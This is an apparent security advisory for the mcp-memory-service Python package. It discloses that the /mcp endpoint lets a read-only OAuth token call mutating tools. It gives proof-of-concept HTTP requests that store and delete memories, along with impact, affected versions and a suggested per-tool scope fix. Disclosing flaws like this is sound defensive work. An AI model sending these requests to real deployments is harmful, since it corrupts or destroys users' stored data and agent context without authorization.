PT-2026-59275 · Pypi · Mcp-Memory-Service

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

8.1

Alta

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

The HTTP MCP JSON-RPC endpoint at /mcp requires only OAuth read scope for all requests, then dispatches tools/call directly to handlers that include mutating tools. A read-only OAuth client can call store memory and delete memory through MCP even though the corresponding REST endpoints require write scope.

Technical Details

src/mcp memory service/web/api/mcp.py declares mcp endpoint with user: AuthenticationResult = Depends(require read access). For tools/call, it extracts the requested tool name and arguments, then calls handle tool call(storage, tool name, arguments) without passing the authenticated user or checking a per-tool required scope.
The MCP tool registry includes both read tools and write tools. In the same handler file, store memory creates a Memory object and calls storage.store(...), while delete memory calls storage.delete(content hash). These operations are reachable with only the read scope.
The REST endpoint demonstrates the intended boundary: POST /api/memories uses Depends(require write access) and rejects a read-only token with 403 insufficient scope.

Reproduction

  1. Enable OAuth and disable anonymous access.
  2. Generate a valid OAuth JWT with only scope: read.
  3. Confirm the REST write endpoint rejects it:
http
POST /api/memories
Authorization: Bearer <read-only-token>
Content-Type: application/json

{"content":"rest denied control"}
Expected and observed: HTTP 403 with Required scope 'write' not granted.
  1. Send the same read-only token to the MCP endpoint:
http
POST /mcp
Authorization: Bearer <read-only-token>
Content-Type: application/json

{
 "jsonrpc": "2.0",
 "id": 1,
 "method": "tools/call",
 "params": {
  "name": "store memory",
  "arguments": {
   "content": "mcp read scope stored this",
   "tags": ["poc"]
  }
 }
}
Observed: HTTP 200 JSON-RPC success and the storage store sink is reached.
  1. A read-only token can also call delete memory through MCP if it knows a content hash:
http
POST /mcp
Authorization: Bearer <read-only-token>
Content-Type: application/json

{
 "jsonrpc": "2.0",
 "id": 2,
 "method": "tools/call",
 "params": {
  "name": "delete memory",
  "arguments": {"content hash": "<known hash>"}
 }
}
Observed: HTTP 200 JSON-RPC success and the storage delete sink is reached.

Impact

A client intended to be read-only can inject or delete memories through the MCP API. This can corrupt the memory database, influence future agent context, and destroy stored user memories without the OAuth write scope required by the REST API.

Affected Versions

Confirmed present on current main commit c99a922477df41f75a44db11182ae48a57311910 and latest release tag v10.65.0 (4eb4a62665589f9dd9f8c393afa32de434b4098a).

Suggested Fix

Enforce authorization per MCP tool at tools/call time. Require write for store memory and delete memory, keep read only for read-only tools, and add regression tests proving direct tools/call to mutating tools is rejected before the handler reaches storage when the caller has only read scope.

Correção

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dbugs@ptsecurity.com

Identificadores relacionados

PYSEC-2026-2622

Produtos afetados

Mcp-Memory-Service